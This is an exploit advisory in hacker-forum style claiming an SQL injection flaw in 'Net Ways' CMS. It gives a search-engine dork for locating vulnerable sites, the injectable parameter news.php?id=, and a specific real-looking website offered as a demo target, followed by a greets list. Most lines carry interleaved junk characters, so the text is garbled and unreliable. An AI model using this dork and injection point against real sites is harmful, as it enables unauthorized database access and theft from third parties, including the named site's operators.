################################################################################??########
1 g) h8 M3 F; r$ T& H+ E1 Z# ! O+ d- c. ^) N9 ` ?& l
# Exploit Title : Net Ways Cms Sql Injection Vulnerability
3 u& Y1 V0 R. n$ k* ^; \. a# " @' Z! V% o/ J& k/ b
# Author : IrIsT.Ir 7 F* G9 K+ y4 G. o% f6 l3 X
#
# e, x) C1 q5 x; l, F# Discovered By : Am!r ! [: u" j7 ~, _# a" @4 i0 c
#
7 y$ M+ h, w% `7 y2 _/ Q# Home : http://IrIsT.Ir/forum
5 l% X: e/ s, a; p8 {' t/ ~# 3 Q$ E. T* Y' V
# Software Link : http://www.netways.com/ www.political-security.com; _2 b1 J& [# G+ s+ C. B! c
#
; O0 p7 F+ z1 O+ v% s# Security Risk : High 8 d% h! q* v; w: F. i. n
#
$ Z6 r4 y6 c; p7 X% _4 ]7 S# Version : All Version
" k$ {1 y1 M/ Y% R. u4 }" D3 ^# ; Y. I# ]- D# v- b
# Tested on : GNU/Linux Ubuntu - Windows Server - win7 ( R! a+ ?; X3 U# ?6 | C' l" d
# 1 Z+ m6 X2 p! g1 k- @' O8 R4 g
# Dork : intext:"Designed & developed by NetWays"
( C: f1 l1 I7 {. d: T3 Z* U8 i# 2 V. X: a# t5 B" L1 K7 ]
################################################################################??########
4 H/ ?: k( c H: \+ n. C# % F" X: n! ]" \+ a
# Expl0iTs : ; Y. z5 e2 _" f+ h) \1 t' P1 [: O
# ( k. E8 N6 L" N0 \
# http://target.com/news.php?id=[Sql] 1 F# g. l1 t9 C
#
P( t# x; p: {# C#
* @% A, Y, e6 w& |) R" k# M# D3mo :
- N* Y# _# i" P: }: O/ o" E7 o+ M( \# 8 L+ z# U5 g: h7 H1 l" p& o
# http://compagnieparento.com/news.php?id=7[Sql] ; K9 M8 G9 r% |8 m4 y
# 9 J6 T/ c& O$ _& ?6 e/ d* m
################################################################################??########
" X) f7 j! }+ D# U#
5 q8 K$ o1 ]! I# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r # r* k% m% h1 V( d( O# C9 I4 y$ Y3 \
#
# ^0 H! f$ j" q# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
8 Y! `" o! p% _& M: C0 v; r6 P/ _#
. V6 m. i+ H3 l# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum ( p; P8 _& k! _3 s: F
# + l( j( p+ G" {: \/ z0 P2 x4 n
################################################################################??######## |